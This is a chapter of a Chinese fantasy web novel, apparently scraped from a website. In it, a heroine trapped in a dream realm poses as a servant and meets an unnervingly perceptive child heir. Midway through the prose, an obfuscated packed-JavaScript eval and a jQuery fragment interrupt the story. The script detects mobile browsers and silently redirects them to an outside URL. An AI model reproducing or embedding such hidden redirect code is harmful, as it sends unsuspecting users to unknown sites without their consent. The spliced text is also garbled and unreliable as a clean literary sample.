十夜公子赶到的时候,院子里已经恢复了往日的宁静。
小院如同飓风过境一地狼藉,青铜大鼎上的禁制已被击碎,里面空空如也。
离近大鼎,地上有一个面具,碎成了两半。
十夜公子屈膝拾起其中一片,拿在手里端详。
“如何?”红衣女子姗姗来迟,院中的灯已经尽数被点亮,照见里面的一切。绿色萤火已经被打散一多半,剩下的一些蛰伏在空荡的大鼎内,发着黯淡的光亮。
这里发生过很激烈的打斗,但是有人设了阵法,一点动静都没传出去,若不是天罚降下,他们恐怕到现在还不知道发生了什么。
“阵法破了。”十夜公子低头看着手里的面具碎片,面上的神色隐在暗处,看不分明。
红衣女子神情略略一变。
相比于其他两处阵法,设于此地的阵法看守相对薄弱,原因无他,只因这里是用命魂珠作为阵眼的。
命魂珠是死气凝聚之物,极其危险,单是靠近,轻则神志不清,重则魂飞魄散。
即便有办法暂时规避,长时间接触也必会伤及神魂。
所以一方面,它本身就是最坚固的封印,根本无人能安然无恙地靠近。
但另一方面,也正因如此,无法安排更多的人看守在外,毕竟就连有与死气颇有渊源的织梦兽也只敢守在外围,更别说其他。
可是现在不仅阵法破了,珠子也消失不见。
“人呢?”红衣女子问道。
十夜公子闭上眼单手掐诀,若有似无的金桂之气飘入他鼻腔,零星有片段在他脑中闪过。
“被织梦兽吞了进去。”他睁开眼,“而且是两个人。”
织梦兽身上有死气,寻常人被吞进去,受死气污染,也相当于和死了没两样。
可是院中的景象早就说明,来者并不惧怕死气。
“也就是说那小道士在城里还有个帮手了?”红衣女子双手抱在胸前,抬了抬下巴,“命魂珠呢?”
“不知道。”他回答得非常干脆。
红衣女子眯了下眼。
“命魂珠有死气,我的追溯术追溯不到。”十夜公子站起身,用折扇敲了敲掌心,眼中略过几缕沉郁之色,抬头看向红衣女子,“这件事必须立刻上报主上。”
阵法破了,不过是将祭祀之事拖延一段时间,可命魂珠没了……
十夜公子抬头,遥遥望向远处云层之间若隐若现的城宇轮廓,和轰鸣间快要降临的雷劫。
他们都会死。
*
好冷。
满月打了个哆嗦,睁开了眼。
她发现自己正坐在床榻的小几旁,手上拿着绣花用的顶棚,像是在绣着什么。
看来她已经进入了梦境。
和四方镜那时不同,满月神智清明,并没有忘却进来前所发生的事,甚至相反,对发生的一切都历历在目,她是如何算计陆宴白,又是如何被他按着反亲了过来,还有他最后说的那句意味不明的话。
想着她又没忍住打了个寒颤,这次不是冷的,是吓的。
一回忆起那个吻,她就全身毛骨悚然。
……算了,暂时还是不想那么多了。
眼下最重要的是先从这里出去。
织梦兽说到底不是凶兽,虽然被堕仙征用后凶性大增,但在最初,他们只是以人间的梦为食,有的织梦兽编织美梦,有的则负责编织噩梦。
原著中的梦境满月已经记不清了,只记得一对副CP被安排在同一个梦境,险境之中他们感情进度突飞猛进,大概因为被困在梦境里只有他们两个人,吊桥效应。
不过这无关紧要,因为织梦兽的梦本就是随机,能与原著一样的可能性极低。
织梦兽收集已死之人的梦,利用死气将它们编织成幻境。按照原著的描写,被织梦兽吞没后,会随机进入一个幻境之中,只有替梦境之主完成缺憾,执念去除,得到梦境之主的梦种后才能从中离开。
满月:这我熟。
就跟前世她玩的RPG游戏一样。
梦境之主是试炼任务,梦种是任务奖励。
只是不知道陆宴白掉到了哪里,满月还想着他们能跟原著那对副CP一样在同一个幻境,有他在,通关概率也能更大一些。
满月放下手中的顶棚走了出去,看到两个小侍女坐在庑廊下晒太阳。看到她出来,她们互相给对方使了个眼色,其中一个道:“又下雪了,小世子那院的雪还没扫,你去扫吧。”
满月左右看了看,指指自己:“我?”
小侍女捂嘴笑着,眉眼间闪过几分轻蔑:“不是你还有谁?才来几天,就懒得不想动弹了?”
……怎么来到梦境她拿到的还是个被人欺负的受气包角色!
满月有点无语,但想到当务之急是要寻找梦境主人,又懒得计较。
毕竟她们可能就和指引任务的npc一样,真要计较就显得她太呆了。
屋外飘着细雪,满月裹紧了衣衫。
进入幻境来试炼的人都会被随机分配一个更加贴合幻境现实的身份,并且继承该角色全部的初始设定属性。
她的身份是被签了死契卖进忠顺王府的一个小丫头,名叫桂花,才来没几日,因为生性木讷不善言辞,常常被同事欺负。
她们口中的小世子,指的就是王妃与王爷的长子。
虽是长子,但是从原主的记忆里看,无论是王爷还是王妃,都对他态度冷淡,听人闲聊时说一年里除了某些重大节日,王爷王府几乎不召见他,连带着他们这一院负责照料小世子的下人也备受冷落,一来二去间,但凡有心思的都托关系出去了,留下的都是没门路的,摆烂的摆烂,懈怠的懈怠。
满月趁着无人施了个避雪术,细雪在临近她周身分寸之余齐齐避开。因为怕冷,这是她在三危山学得最好的一样术法。
循着风雪一路走到西院,还没进去,就从月门看到廊桥上站着个小人儿,穿得单薄,没有任何避雪的措施,正踩在阑干上,往下不知道看什么东西。
满月撤去避雪术,走了过去。
这大概就是原主记忆里的小世子了吧。
满月心里有笃定的感觉闪过,她知道这是来自梦境深处的提醒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014114|178149||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼前的人就是这里的梦境之主。
“世子殿下,天这么冷,怎么一个人跑出来。”满月琢磨着原主的语气,轻声道。
小人儿没有回头,仍只盯着桥下看。满月好奇,也循着他的视线看去。湖面薄薄结着一层冰,除此之外没有什么特别之处。
“湖里的鱼呢?”小人儿没有抬头,只问。
满月愣了下,想了想:“下雪前就被捞起来养在别处的,殿下想去看吗?”
小人儿摇摇头。
没有避雪术,风裹挟着雪吹入廊中,
满月冻得抖了下。眼前的小人儿仅有四五岁的模样,只穿着一件单薄的中衣,反而一点事都没有。
“你不冷吗?”她问。一时忘了用敬称。
小人儿听到这话,才终于将目光从湖面上收回。他转头瞧了满月一眼,明明这样小的岁数,却有一双仿佛洞察世事的眼,无波无澜,无悲无喜,黑沉沉深不见底,让被看的人冷不防感到心头一惊。
现在满月知道这小家伙为啥不受他爹妈待见了。
如果他再长得几岁,或许还有人夸赞一句天纵之才,但如此小的岁数流露出这副神情,只会令人由衷胆寒。
智多近妖。
尤其在这个邪祟妖孽层出不穷的世道,更是会引来猜忌怀疑。
不过除去那有些骇人的眼神,这小家伙倒是长得挺漂亮,粉雕玉琢和个小团子一样,满月真没见过几个比他好看的。
他没理会满月的问题,满月倒也没当回事。她拍拍小团子的头:“先随我回屋子里吧。”
说着她牵起他的手。许是在外待久了,他的手冷冰冰的,没有一丝温度。
“你是妖怪吗?”
小团子忽然问。
满月脚步一顿。
“你从对面来,身上几乎没有雪。”明明是那样稚气的声音,可无论是说话的语气还是内容,都远超过他这个年龄该有的。
“我……撑了伞。”满月低头看向手边的团子。
小团子盯着她,黑漆漆的眼中似乎没有光亮,只有一片死寂。
满月莫名感到心虚,可转念一想,她有什么好心虚的。
若是被拆穿她的真实身份,该怕的应该是他这个凡人小孩才对。若是没有被拆穿,横竖四五岁的孩子,也没什么威胁性。
“世子怕是话本子看多了,平日里我经常在这院子里劈柴,殿下怎么会不认得我。”她眨眨眼,面不改色道。
她被分配的任务也多是一些无人愿意做的杂活,不过在这里似乎有个不成文的规定,离小世子越近的活儿越弃之如敝履,只轮得到她这种边缘人,所以尽管才来没几日,原主已经见过小世子好几次,在原主的印象中,小世子不爱讲话,也很少与他们打交道。
小团子仍只是一瞬不瞬盯着她,黑眸寂寂,让人实在看不出他心里在想些什么。
满月只觉得自己的回答无懈可击,甚为满意。
她弯弯唇角,刚要收回视线,却听到小团子又开了口,这次不再是疑问句。
“你,就是妖。”
他语气淡漠道。